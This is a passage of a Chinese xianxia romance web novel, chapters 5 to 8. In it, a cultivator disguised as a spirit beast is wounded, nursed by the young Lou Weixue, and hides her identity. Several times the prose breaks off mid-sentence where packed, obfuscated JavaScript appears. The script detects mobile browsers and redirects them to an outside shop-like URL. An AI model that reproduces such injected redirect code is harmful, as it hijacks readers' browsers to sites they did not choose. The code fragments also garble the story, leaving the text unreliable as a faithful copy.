距离越拉越近,娄危雪看准时机,抬手挥出一道剑光,可就在剑气快要打中山鸡的时候,山鸡扑扇着翅膀,竟然躲开了。 躲!开!了! ??? 娄危雪傻眼,偏偏那山鸡像是知道有人要抓它,转身盯着娄危雪,那不大的眼睛里充满嘲讽。 它咯咯咯的叫了好几声,也不急着离开,反而还在那边走来走去的,无比嚣张。 沈清鸿踹起爪爪,趴在旁边。 “手到擒来?” 娄危雪尴尬的咳嗽两声,“刚刚那是意外,我这次必不可能失误。” 有时候做人,话不能说的太满,不然容易下不来台。 现在的娄危雪就是这样,她挥出的剑气再次扫空。 山鸡更得意了,鸣叫的声音都透着悠然,它甚至还朝娄危雪靠近了几步。 娄危雪感受到自己收到了来自山鸡的鄙视。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她不好意思的捂着肚子,“诶嘿,六六,我饿了,我们就在这里吃饭吧。” 沈清鸿态度冷冷的没有搭理娄危雪,不过也没拒绝。 娄危雪走远了一点,给山鸡开膛破肚,又处理掉了鸡毛,然后把洗净的部分野果塞到了鸡肚中后逢起,用削尖的木棍捅穿山鸡,放到了火堆上翻烤起来。 有油掉入火堆中,激发火星,一边烤,娄危雪一边把取到的蜂蜜均匀的刷在山鸡的身上,随着时间推移,阵阵香味飘起,山鸡烤好,被娄危雪取下。 她揪下一直鸡腿,递到白团子抓边。 “六六,你尝尝。” 沈清鸿咬了一小口,山鸡被烤的外焦里嫩,带着淡淡的甜味,味道醇厚。 “不错。” 被夸赞的娄危雪嘿嘿一笑,“我就说我的手艺好啦。” “跟着我,我以后还会给你做好吃的!” 沈清鸿撕肉的动作一顿,没有以后了,她改修无情道就是为了给师尊报仇,是不可能一辈子留在山中的。 5. 第 5 章 山中无岁月,林间远浮尘。 娄危雪手艺不错,经常做各种好吃的给沈清鸿补身体。 经过一段时间的相处,沈清鸿不再像一开始那么排斥娄危雪,她渐渐习惯灵兽的身份,偶尔也会夸上娄危雪几句。 每每这时,娄危雪便眼含热泪抱着白团子猛蹭。 “呜呜呜,六六,你是世上最好的团子!” 感受到被骚扰的清鸿仙尊,毫不客气的举爪。 娄危雪的脸上时不时就会有一个灵兽打出的爪印,可她依旧每天都要撸团子,就算被打也不怕。 死性不改,下次还敢。 日子就这么鸡飞狗跳的过下去,眨眼半个月过去。 沈清鸿身上受的伤已经恢复一些,至少可以变回人形,不过怕丢面子的清鸿仙尊才不会就这样在娄危雪面前暴露人形,依旧用着灵兽的形态。 阳光灿烂的午后,白团子闭目趴在娄危雪给她准备的小窝中,耳朵软软的耷拉在脑袋上,爪子踹在蓬松的软毛中。 娄危雪看到后,手又按捺不住的蠢蠢欲动。 “诶?六六,你毛上粘东西了,我给你弄掉。” 娄危雪迅速的朝白团子的脊背摸去,顺滑柔软的触感让她有点停不下手。 怕白团子挣扎,娄危雪找借口掩饰。 “我不是在摸你,我只是给你把毛上粘的东西弄掉!” “这东西有点多,你别急哦。” 她说着,又揉了一把,兴奋的脸颊通红,连眼睛都亮晶晶的。 沈清鸿怎么会看不出娄危雪的这点小伎俩。 抬爪正准备本来想给娄危雪来上这么一下,但是当她抬起头时,少女明媚的笑颜就这么映人她的眼中。 罢了…… 她现在已经可以化形,差不多要准备离开了,以后和这个少女再次见面,就不知道会是什么时候了。 白团子轻哼一声,把爪子收了回去,本来绷紧的身体在娄危雪的偷偷抚摸中放软。 娄危雪似乎是察觉到了白团子难得柔和的态度,摸的更加光明正大。 接下来的两天,除非娄危雪做的太过分,否则白团子都是睁一只眼闭一只眼,给摸给抱的,乖巧的不像话。 夜晚。 娄危雪躺在床上,怀里抱着团起来的白团子,和白团子贴贴。 “六六,你这两天好乖啊,是不是终于体会到我对你的好了!” “我和你说哦,做我的灵兽不吃亏的,我会给你做更多的好吃的,也会好好修炼。” “或许有一天,我会带你离开山里,去外面平反热闹的人间集市走一走,看看三山五岳江湖四海,说不定偶尔还能尽绵薄之力除上几个妖魔。” “我会保护好你,不会让任何人欺负你的……” 娄危雪一个人在那里说个不停,只不过声音越来越小,直到渐渐消失。 平稳的呼吸声传来,白团子抬眼看了眼身边的人,那人已经睡着,眉眼下那颗向来招摇的泪痣,在此刻也像是安静起来。 她是天一宗清鸿仙尊,身上压着师傅的期待,师门的重任,那样平静潇洒的生活,不属于她。 沈清鸿伸出爪子,把娄危雪的脸推开,艰难的从娄危雪的胳膊中挤出身体,跳下床铺。 雪白的一小团在落地的一瞬间消失不见,取而代之的是个身形修长,衣白胜雪的女子。 乌黑的墨发没有束起披散在她的身后,月光从窗外洒入照在女子的身上,为她渡上一层月华。 床上的人还在睡着,沈清鸿看着娄危雪安静的睡颜,微微一笑。 白日里那么吵闹活泼的人,也只有这个时候是安静的。 山间岁月清净悠闲,她这凡事缠身的人,该离开了。 沈清鸿转身,白色的长衣划出一道弧线,下一刻屋内变的空荡,只有淡淡的月华没有变化。 在这小屋也生活了一段时间,沈清鸿对附近的环境还算熟悉,她回想着当时受伤的地方,找了过去。 那一块的树木在天劫的威力下化为齑粉,土地焦黑凹陷,只插着一柄长剑,剑刃泛着寒芒,冰冷如水。 均湘。 这是她的佩剑。 长剑似乎是感受到了主人的到来,剑身抖动,发出一阵嗡鸣。 沈清鸿抬手,拔出长剑,归剑入鞘。 她此次出门就是为了去云岚门退婚,她改修无情道后自当断情绝爱,断不能继续耽误别人,是以之前定的婚事还是早早解决为好。 沈清鸿踏步而行,朝着云岚门的方向飞去,可还没飞出多久,身侧突然刺来一道剑气。 沈清鸿拔剑抵挡,下一刻,一身着墨衣的蒙面人出现在沈清鸿的面前。 她是化神之境,却看不透来人的境界,这只能证明,来人的境界比她还高。 沈清鸿自问没有做过什么伤天害理的事情,更想不到会与谁结仇。 她皱眉,“在下天一宗沈清鸿,不知阁下是何人,你我之间是否有些误会?” “交出天书九卷,饶尔不死。” 闻言,沈清鸿陡然变色,当初师尊拿着天书九卷前去凌霄门,中途却被人截杀,天书九卷不翼而飞,而师尊身上的致命伤便是合欢宗的密法,只有达到化神境的人才能使出此招,而这世间唯有合欢宗主能达到此境界。 “你是合欢宗的人?还我师尊命来!”沈惊鸿目眦欲裂。 来人一言不发,再次出手。 此人招式狠辣,剑剑朝着沈清鸿的要害刺去。 剑光破空而来,带着浓厚的威压,沈清鸿运转灵力,两人声影交错,速度快的只能看见人影。 周围的树木被剑气扫到,落叶纷飞,是随着时间流逝,沈清鸿逐渐不敌。 她这次受伤严重,这几天也不过刚刚恢复了一点而已,根本就不是来人的对手。 再次短兵相接,沈清鸿倒退两步,吐出一口鲜血,染红她的胸前的衣襟。 蒙面人的这一击太过沉重,让她难以招架。 沈清鸿抬手擦掉唇边血迹,照这样打下去,她早晚会死在这里,要想办法脱身才行。 调转起身上全部的灵力,沈清鸿举起长剑,剑光夹杂着奔腾的水势,朝蒙面人袭去。 这破釜沉舟的一招,竟是让人有些难以应对。 趁此机会,沈清鸿毫不犹豫的朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593598|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来时的山林中飞去。 眼看着人要跑,蒙面人冷哼一声,举剑划出。 剑气破空朝着沈清鸿袭去,沈清鸿闷哼一声,借着击来的力道迅速隐匿与山林之中。 于此同时,原本在小屋中安然入睡的娄危雪睁开双眼。 她摸摸自己的眉心,与灵兽结的契约让娄危雪感受到白团子的受伤。 “六六?” 娄危雪下意识唤道,她转身看向身边,空空如也,白团子根本就不在这里。 暗道不好,娄危雪披上衣服,急忙出门,寻找着白团子的踪迹。 找了一圈之后,娄危雪飞在高处,发现有一处山林在中间破了个口子。 难道是那里? 娄危雪靠近,树木倒了一地,周围还有剑气残留,像是经过一番争斗,只不过娄危雪并没有在原地寻找到任何踪迹。 这时,签订的灵兽契约在突然有了反应。 看来她没有找错。 娄危雪立刻循着契约的指引找去,可惜的是契约只指引了一会,在娄危雪找至一处山坡处便没了反应。 她不死心,继续寻找,看到一个人躺在在不远处的地上,不知生死。 娄危雪皱眉走过去查看,女子的衣服上都是鲜血,看着受了很严重的伤,伸手拨开女子散落在面上的发丝,一张清冷出尘的面容映入娄危雪眼中。 她不可置信的睁大眼睛,这不就是那天她中合欢散时,在梦里看到的神仙姐姐吗? 难道那天不是梦吗?娄危雪怔忡,一时不知道那天的云雨是真是假。 不过现在不是考虑那些的时候,这人受伤这么重,如果不管恐有生命之忧。 看来暂时只能放弃寻找六六了,娄危雪叹了口气,压下心底的担忧,她弯腰将女子打横抱起,带回山中小屋。 从溪水边打来一盆清水,娄危雪将女子身上的衣服一层层脱下,瓷白的肌肤映入娄危雪的眼底,看的她微微发怔。 那晚的春色从脑海中浮现,一抹绯红迅速爬上娄危雪的面颊,身体也有些燥热。 直到冷风吹来,娄危雪才回过神,她猛拍了下自己的脑壳。 “娄危雪啊娄危雪,现在可不是胡思乱想的时候!” 弯腰将巾帕放到水里打湿拧成半干,看着昏睡不知身外事的人,娄危雪低低出声。 “神仙姐姐,得罪了!” 娄危雪用湿帕擦去沈清鸿伤口上的血污,又简单的给沈清鸿擦拭了全身,然后掏出伤药洒在沈清鸿被剑划破的伤口上。 一通忙活下来,娄危雪有些累了,她把桌边的椅凳端过来守在床边。 结果到了半夜,床上的人嘤咛出声,眉心紧紧皱着,似乎极不舒服。 “这是怎么了?” 娄危雪焦急查探,手指触碰到沈清鸿的肌肤,像是碰到了一捧炭火。 她暗道不好,这恐怕是发烧了。 只不过山里哪能找到大夫,娄危雪也没那种退烧的药。 她重新打来一盆冷水,一遍遍的给沈清鸿擦拭着,直到天色将明,沈清鸿身上的热度才消退。 娄危雪松了口气,趴在床边沉沉睡下。 6. 第 6 章 晨光透过黎明的天空,唤醒沉睡的大地。 在床上昏睡一夜的人儿,缓缓睁开双眼。 周遭熟悉的环境叫沈清鸿微微发怔,身上伤口传来的痛感,昭示着昨晚发生的事情。 她手指微动,却不小心碰到了什么。 身侧,娄危雪头枕着胳膊,眼皮滑动,慢慢睁开眼睛,结果正好对上沈清鸿的视线。 刚睡醒的娄危雪反应了一会儿,然后倾身去试探沈清鸿的温度,温温热热,很是正常。 饱满的胸脯压在沈清鸿的身上,两人额头相抵,离的很近,近到能感受到彼此之间的呼吸。 如果是以往,沈清鸿怎么可能会叫人有机会离自己这么近,她握紧拳头想要把人推开,可身体虚弱,手上没有半点力气。 好在娄危雪及时退了回去,“没有发烧。” 沈清鸿松了口气,却也有点羞恼。 这人怎么这么不知分寸!试探温度不可以用手吗! 娄危雪不知她心中所想,询问道:“你现在感觉怎么样?有没有哪里不舒服?” 问完之后,娄危雪才意识到有点不对劲,拍了下自己的脑袋,“嗐,你看我这问的什么问题,你受伤了肯定不舒服。” 沈清鸿抿了抿唇,“是你救的我?” “对,是我。”娄危雪张手比划着,“你不知道你昨晚浑身是血,躺在那里可吓人啦。” “不过你放心,我已经帮你处理好伤口了,你可以在这里呆着安心养伤。” “此处僻静,很少会有人找到这里的。” 她容貌稠艳,偏偏说话时语气很软,尾音甜润,带着少女的烂漫,妩媚又清纯。 沈清鸿眼睫轻微颤抖,移开目光。 “多谢。” 自己又被她救了一次。 两人无言,娄危雪的思绪已经彻底从刚睡醒时候的状态脱离,变得清醒。 她盯着眼前的人,思绪不可控制的想到那夜,那夜她究竟是受合欢散影响,做了一场荒唐的梦,还是说真的做了什么…… 静默的气氛,叫沈清鸿也不可避免的也想到了那晚,被娄危雪盯的有点不自在。 她薄唇微启,“你一直盯着我做什么?” 娄危雪回神,脸色猛然涨红,她这才反应过来自己跟个痴汉一样,一直盯着人家看。 该不会是吓到人家了吧! 她慌忙解释,“那个,神仙姐姐你别误会,我只是觉得我们是不是见过?” 听到询问,沈清鸿的心跳乱了一拍。 她眨眼闪躲,立刻否认。 “没有。” 总之她不会在这里多留,就让那晚的事,埋葬在夜里吧。 “原来没有啊。” 听沈清鸿否认的坚决,娄危雪没有多想,只是那语气听不出来是失落多一些,还是庆幸多一点。 沈清鸿垂眸,撑着身体想要坐起来,但是她受伤严重,手臂虚软根本没有力气。 这一撑非但没让她坐起来,反倒还扯痛了她的伤口。 沈清鸿本就没有血色的脸变得更白了,她眉心微蹙,额头布上一层冷汗,可见是疼的厉害。 娄危雪看到后,立刻伸出手臂去扶沈清鸿,让人把重量压在自己身上,缓缓把沈清鸿放倒。 “神仙姐姐,你受伤了,不要乱动,想做什么我帮你。” 说话间,她拿出锦帕,仔细的擦掉沈清鸿额上的冷汗。 沈清鸿躺在床上,伤口的疼痛在一点点减去,她看着神色认真的少女,几秒后开口。 “你叫什么?” 之前被雷劫劈伤,是眼前的少女捡了她,昨晚被人追杀,又是这少女救了她。 修仙之人讲究因果循环,少女救了她两次,她会报答少女的。 被神仙姐姐问道姓名,娄危雪有点激动。 “神仙姐姐,我叫娄……” 话到一半,娄危雪顿住。 沈清鸿抬眸,“娄?” “九寒,我叫娄九寒。” 她从宗门里偷跑出来,外面的人肯定都在找她,娄危雪这个名字实在是不适合使用。 不过娄九寒是她的小名,她这也算不上是欺骗。 娄危雪眨眼反问,“神仙姐姐,你叫什么啊?” 沈清鸿的名声很大,许多人喜欢用她去激励自家修炼的徒弟小辈,可以说这个名字但凡是有点修行基础的,都会知道。 可是…… 见沈清鸿久久未出声,娄危雪主动开口,“如果神仙姐姐你不愿意说,也没关系。” 人嘛,都有自己的难处。 更何况神仙姐姐这样子,一看就是遇到追杀,不愿说出来,也情有可原。 不过娄危雪的心底依旧有点失落。 沈清鸿看着那有些暗淡下去的眼睛,一个字在沈清鸿脑中滑过。 “六。” 娄危雪愕然,“六?” “嗯,”沈清鸿匆忙找补,“我叫沈六。” “沈六,沈六。”娄危雪低低念了两遍,重新恢复元气,“那我以后叫你沈姐姐吧。” 沈清鸿抿了抿唇,嗓音清冷。 “好。” 得到准许的娄危雪眉开眼笑,“说起来我和姐姐很有缘分呢。” “我之前契约的一只灵兽叫做六六,她的皮毛比雪还白,可爱又聪明,虽然脾气有点暴,不喜欢给我摸,但是她会帮我抓山鸡,是个心软的小白团子呢!” “不过昨晚在我睡觉的时候,六六偷偷跑出去了。” 娄危雪的情绪肉眼可见的低落下去,“我感受到六六受了伤,只可惜我昨晚出去没有找到她,也不知道她怎么样了,我还说要好好保护她呢。” 这话若是被沈清鸿的同门们知道,倒是该发笑了。 什么时候冰冰冷冷的清鸿仙尊,会心软,又要人保护了? 沈清鸿面色有些怪异,安慰道:“别担心,会没事的。” “嗯!” 娄危雪有些不好意思,她竟然让一个受伤的人安慰她。 不过神仙姐姐真是长得好看,心地也好。 她把沈清鸿身上滑落下来的被子,朝上拉了拉。 “姐姐,你先休息一会,我去给你做点吃的补一补身体。” 走出房门,娄危雪打了只野兔回来,还捉了鱼。 她炖了锅鱼汤,烤好兔肉后,用匕首把肉从骨头上分离,放在盘中。 “吃饭啦。” 沈清鸿听到动静,艰难的挪动身体,试图下床。 娄危雪看到后连忙跑过去把她按住,“姐姐你受伤不方便,我喂你。” “不用。” 娄危雪神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593599|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色认真,她坚持,“姐姐,你不想让伤口裂开的话,就听我的。” 对上那双沉静的眼眸,沈清鸿拒绝的话止于嘴边。 娄危雪见她不言,就当她是答应了。 鱼汤被熬成了奶白色,香味扑鼻,娄危雪拿起木勺盛了碗鱼汤,走到床边。 她用勺子舀了一勺,怕烫到沈清鸿,放在唇边轻轻的吹着,然后递到沈清鸿唇边。 “姐姐,张嘴。” 沈清鸿还是头一回被人这般细心的照顾,有点不习惯。 唇边的鱼汤固执的放着没有动,沈清鸿无奈终究是张嘴,喝下了鱼汤。 看沈清鸿喝下,娄危雪询问:“怎么样?好喝吧。” 鱼汤煮的恰到好处,汁汤醇厚,鱼肉鲜嫩入口即化,鲜香味美。 沈清鸿夸赞,“还不错。” “嘿嘿,姐姐喜欢就好。” 娄危雪唇角高高翘起,笑容是掩饰不住的快乐。 她又舀起一勺鱼汤喂去,看着喝汤的沈清鸿,化身土拨鼠开始尖叫。 啊啊啊啊! 姐姐的睫毛好长啊!这是睫毛精本精吧! 那皮肤,细腻无比,洁白广润,像是上好的玉石,真可谓是冰肌玉骨。 还有那唇,被鱼汤润湿后粉粉嫩嫩的跟花瓣似的,看起来好软,好好亲。 亲…… 娄危雪手抖了一下,不敢再看。 沈清鸿看着落到碗里的鱼汤,目露疑惑。 “怎么了?” “咳,没什么。” 娄危雪若无其事的重新舀起鱼汤,递到沈清鸿唇边。 两人就这么一个吃,一个喂,没多会一碗鱼汤见底。 娄危雪的照顾细致入微,一整天都没给沈清鸿自己动手的机会。 月亮升起,夜晚悄悄到来。 娄危雪取出装着伤药的瓷瓶,站在床边。 “姐姐,该换药了。” “好。” 沈清鸿伸手,可是娄危雪迟迟没有把药给她。 “怎么了?” 娄危雪攥紧手中的药瓶,“姐姐,我帮你,你自己不好上药的。” “我可以。” 静默的对峙几秒,沈清鸿无奈选择妥协。 现在不是计较那些的时候,她得快点好起来才行。 “我知道了。” 娄危雪撑着沈清鸿的身体,让人坐起,她伸出手,颤抖着去解沈清鸿的衣服。 因为过于紧张,解了好几次才把衣服给解开。 衣服从沈清鸿的肩头滑落,在夜明珠光辉的照耀下,肌肤如玉带着莹润的光泽。 娄危雪低着头,脸红的简直要滴血,完全不敢去看沈清鸿的反应。 她打开药瓶,蘸取药膏,在药膏沾到沈清鸿伤口的一瞬间,沈清鸿肌肉紧绷,突然来袭的疼痛,叫她忍不住轻哼一声。 娄危雪有些心疼,脑子里的废料快速远去。 “姐姐,我知道你应该很疼,你别忍着,叫出来吧。” 沈清鸿没有出言,只是手指握得更紧了,指尖泛着淡淡白色。 娄危雪控制着手上的力道,一点点的涂抹药膏,一边涂她还一边吹,试图缓解沈清鸿的疼痛。 温热的风吹在沈清鸿的伤口上,带着酥麻的痒意,叫沈清鸿眼睫微颤。 7. 第 7 章 终于上完了药,娄危雪额头出了一层的细汗,若叫不知道的人来了看到,还以为受伤的人是她。 “好了。” “嗯。” 沈清鸿拉回衣服,她仪态很好,行为举止十分从容,叫人看不出一点异常。 一晃两天过去了,这天早上沈清鸿醒来时,娄危雪不在屋内。 她掀开被子,试探着下床走到门外。 娄危雪正在准备早饭,看到沈清鸿出来,急忙放下手中的事情,跑了过去。 “姐姐,你怎么出来了?” 这几天的药,都是娄危雪帮沈清鸿上的,饭也是娄危雪喂沈清鸿吃的,这让沈清鸿十分不习惯。 而且两人相处沈清鸿偶尔会想起那荒唐的一晚,很是尴尬。 最主要的是,她能感受到,因为受伤她的人形维持的很不稳定,随时都有可能变回灵兽。 她得快点离开,绝对不能让娄危雪知道她就是六六。 至于离开后,她会另外寻找疗伤的地方。 “这几天有劳你的照顾,不过现在我已经能够下地,也是时候离开了。” “离开?”娄危雪惊叫,“姐姐你受了那么重的伤,现在只是能下地而已!伤还没有彻底痊愈,如何能够离开?” 沈清鸿打定主意要走,不顾娄危雪的反对,迈步朝远处去。 “多谢你的好意,不过我有要事在身,耽搁不得。” “什么事能有你的命重要!”娄危雪跟在沈清鸿身后,费尽口舌的劝说:“而且,万一姐姐你遇到伤你的贼人可如何是好。” “你这个样子,根本就没有办法抵挡任何的攻击。” 沈清鸿态度坚决,没有出声,只是坚定的迈着步子,她必须要走。 她脊背挺的笔直,走的很稳,可是每一步却像是走在刀尖上一般,浑身都在叫嚣着疼痛,脑袋也有点发晕,眼前的事物变得模糊,耳边娄危雪劝说的声音在逐渐远去。 才走出一段距离,沈清鸿就彻底没有撑住,腿脚发软,身体朝下倒去。 “姐姐!” 娄危雪赶紧出手,在沈清鸿倒下之前扶住了人。 “你不能离开,跟我回去。”她说着,就要把人往回带。 沈清鸿甩开娄危雪的手,身形晃动两下。 “不用你扶,我必须离开。” “可是你站都站不稳!” 娄危雪皱眉,目光里满是担忧,她没有把手收回,只虚虚的扶在沈清鸿的身后,怕人再次摔倒。 “不牢你费心,我可以自己走。” 沈清鸿抿唇,像是为了证明自己能走,她往前迈出一步,那一步很慢。 娄危雪还是第一次意识到,眼前的人固执的可怕。 都这样了,还要坚持。 不行!她不能放任神仙姐姐就这么离开! 神仙姐姐这个样子,就算中途不遇到事情,也会十分危险。 看着前面走的缓慢的人,娄危雪狠心,一把抱起沈清鸿,扛着人往回走。 沈清鸿的思绪空白一瞬,意识到发生什么后,立刻挣扎起来。 “放我下来!” 她拍打着娄危雪的脊背,但是手上绵软没有半分力气,打在娄危雪的身上,甚至还没有娄危雪挠痒痒的力气大。 “姐姐,你别挣扎了,小心弄疼伤口。” 娄危雪身形没有半分晃动,一步步走的十分踏实。 原本沈清鸿好不容易才走出的一截路,一会的功夫就又被娄危雪走了回去。 回到小屋,娄危雪把人小心的放到床铺上。 沈清鸿撑着身体,手指紧扣。 “娄九寒!” 一口气堵在沈清鸿心口,给人气的连连咳嗽。 娄危雪连忙去给沈清鸿拍背,一下下的给沈清鸿顺气。 “姐姐你别生气,你那个样子根本就走不了,我把你扛回来,也是为你考虑。” 沈清鸿咳的眼睛都红了,好不容易才停下。 “我有事情,必须要走。” “什么事能有你的命重要啊!你这么出去,可能会死的!” “不牢你费心。” 沈清鸿语气冰冷,看样子是不管娄危雪说什么,她都要走。 饶是娄危雪脾气再好,此刻也有了些恼怒。 她掐指打出一道灵决,一圈白色的光环缠在沈清鸿的手上,将人给牢牢捆在床上。 “你的命是我救的,在没好之前,我是不会放你离开的。” 沈清鸿不可置信,堂堂清鸿仙尊,什么时候这般受制于人过。 她恼怒挣扎,秀气的眉毛蹙在一起,面带愠色。 “娄九寒你干什么!快放开我!” 娄危雪生着闷气,往日清亮上扬的音色,此刻低沉许多。 “我去做饭。” 说完,她不理会身后沈清鸿的叫唤,转身离开。 沈清鸿被困在床上,恼怒不已。 她调转身体内的灵气想要破开娄危雪的术法,可是她受伤太重,灵力运转到一半便破碎散开,难以汇聚。 若是以往,别说被这小法诀困住了,早在法诀打到她身上之前,她就先把法诀给打散了。 沈清鸿不肯放弃,屡次三番的试图聚集灵气,破掉法诀,可是她折腾半天都没能给法诀解开。 等娄危雪做完饭回来的时候,看到的就是这么一幕。 美人给自己折腾的满头大汗,头发散乱在面颊两侧,眼尾因为生气泛着淡淡的薄红。 这谁还能气的起来啊。 娄危雪心底的火气瞬间消散,她把人扶起来,夹起一片鱼肉,递到沈清鸿唇边。 “姐姐,吃饭。” 沈清鸿紧抿着嘴唇,并不配合。 娄危雪的胳膊没有挪动半分,依旧举着。 “姐姐,你受着伤,不吃饭怎么能有力气走路,而且你不是还说有事情要办吗?” “还是说,你改变主意,不想那么快离开了?” 怎么可能会不想离开。 沈清鸿抬眸盯着娄危雪,“放开我。” “我可以放开你,但是你得好好吃饭,配合治疗,不能在伤口好之前离开。” 见她沉默,娄危雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593600|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口,态度难得强硬,“如果你不答应我,那我也不会解开你身上的法诀。” “至于吃饭,我也可以想办法让你吃下去,但是我相信你一定不喜欢那样。” 沈清鸿知道娄危雪说的没错,她现在和没有修为的普通人没什么区别,根本没有一点办法来抵抗娄危雪。 虽然沈清鸿很担心自己灵兽的身份被发现,但是看样子她现在是走不了了。 而且如果一直这么被困着,说不定哪天娄危雪回来,看到的就不是人形状态的她了。 她无奈叹了口气,终究是选择妥协。 “好,我答应你。” 原本板着张小脸的娄危雪瞬间放缓了态度,同时心里也松了口气。 还好神仙姐姐答应了,她可不想真的用非常手段来逼迫神仙姐姐。 她抬手解了沈清鸿身上的法诀,“好了,姐姐,吃饭吧。” 吃完饭之后,娄危雪把餐盘收拾走。 这几天她都在沈清鸿身边照顾着,六六也一直没有回来,这让娄危雪有点担心。 现在沈清鸿能够自己下床动手,她也该去找找了。 临走前,她对沈清鸿道:“姐姐,六六还没回来,我出去找找。” 沈清鸿心头微跳,面上却不露声色,只淡淡应了声。 “嗯。” 娄危雪推开木门,在门口挥手布下一道结界。 沈清鸿面冷如霜,“你这是怕我偷跑?” 娄危雪摆手匆忙解释,“这山间野兽多,我这是担心我不在,会有野兽闯进来,冲撞到姐姐。” 虽然……这结界确实可以防止人逃跑。 看了眼沈清鸿不善的脸色,娄危雪选择赶紧开溜。 “那个,姐姐,我先走了啊。” 离开山间小屋,娄危雪朝当时契约感应到的地方飞去。 这几天她也有试着用契约去联系六六,可是六六那边根本没有任何的回应。 而且除了那晚契约有动静指引了一下方向外,娄危雪再也没收到来自契约的任何反馈。 这座山灵气旺盛,几天时间,草都长高了一截。 娄危雪一边找一边喊,“六六,我来找你了!” “六六,你出来啊。” 娄危雪找了很多个地方,她扒开灌木丛,走入无人的洞穴。 可是不管娄危雪怎么找,都没有看到六六的身影。 那晚她可是感觉到六六受伤了,也不知道六六现在在哪里,过的怎么样。 这山上夜间寒凉,一想到小白团子一只兽凄凄惨惨的,没有吃的,也没有可以避风躲雨的地方,还要独自一只兽舔舐伤口,娄危雪感觉自己简直要碎掉了。 “六六啊,六六,你到底在哪里。” 娄危雪愁眉苦脸,深感忧虑。 可就在这时,原本一直没动静的契约,突然有了反应。 “嗯?” 娄危雪惊喜,顺着心底契约指引的方向望去,那好像是回家的方向。 难道六六已经自己回去了? 娄危雪惊喜不已,快速朝小屋方向赶去。 8. 第 8 章 小屋中。 沈清鸿倒了杯茶水,她伸手端去,水杯却猛然从她手中滑落。 下一瞬,沈清鸿的身影消失,取而代之的是一只小小的白团子。 水杯因为没有人握着,从高空坠下,砸在还没反应过来的白团子脑袋上,茶杯里的水泼了白团子一身。 看着滚落在爪边上的水杯,沈清鸿整只兽都不好了。 她举起自己的爪子看了看,确认没错,她现在又变成灵兽了。 这可怎么办,如果娄危雪回来发现,布置的结界没破,结果她人没了,多了一只兽,那她要怎么解释! 白团子着急的在原地来回转,她尝试着运转灵力,想要变回人形,可是失败了。 同时灵兽契约在告诉她,娄危雪正在从远处往小屋的方向赶。 不行!她不能被发现! 沈清鸿立刻屏蔽了灵兽契约带来的感应,她努力凝聚灵气。 淡淡的白光在白团子周身浮现,然后破碎。 既然一次不行,那就两次,两次不行那就三次…… 另一边,娄危雪路走到一半,就发现契约指引没有了。 不过在指引消失之前,显示的还是回家的方向。 娄危雪只当白团子自己找回家了,脚下没有一点停顿,快速的往小屋飞去。 时间一点点流逝,沈清鸿不知道自己已经运转了多少次灵力,可是始终没有成功。 门外,有声响传来,是娄危雪回来了。 沈清鸿没有动,周身光华流转,小屋的门被一点点推开,缝隙越来越大。 娄危雪走入门内,只见沈清鸿站在桌边,额头似乎还有点红。 “姐姐,你这头怎么了?” “磕到了而已,没有大事。” 娄危雪目露奇异,当时怕白团子在这屋里磕到碰到,她把许多尖锐的地方都包上了软布,也不知道姐姐这是在哪里撞到的。 她取出药膏仔细的给沈清鸿涂抹了伤口,然后才发现,沈清鸿身上的衣服湿漉漉的。 “姐姐,你衣服湿了。” “嗯,刚刚杯子没拿稳,不小心打湿了。” 沈清鸿弯腰,一举一动十分从容,她捡起脚边掉落的水杯,声音云淡风轻。 娄危雪知道沈清鸿受伤,干脆丢了个决到沈清鸿身上,原本还湿漉漉的衣服,瞬间变干。 想到在外面的契约指引,娄危雪从沈清鸿边上走开,朝后院走去,然后什么都没找到。 不死心的娄危雪里里外外,来回转了好几圈。 沈清鸿见娄危雪似乎还要找,主动出声及时制止了她。 “你在找什么?” “姐姐,你看到六六了吗?” “没有。” 沈清鸿抿了口茶水,她低垂着眼,叫人看不出半分神色。 “这样啊。” 娄危雪摸摸脑袋,难道六六没有回来吗? 不过根据之前那个指引,六六应该就是在这个方向上。 或许她多找几遍,就能找到六六了。 六六啊,六六,你快点回来吧。 就这样,沈清鸿在小屋中住了下来,娄危雪一边照顾沈清鸿,一边外出寻找六六。 月升日落,斗转星系,大半个月的时间转眼流逝。 娄危雪始终没能找到六六,不过沈清鸿的身体倒是在这段时间里,一点点的好转起来。 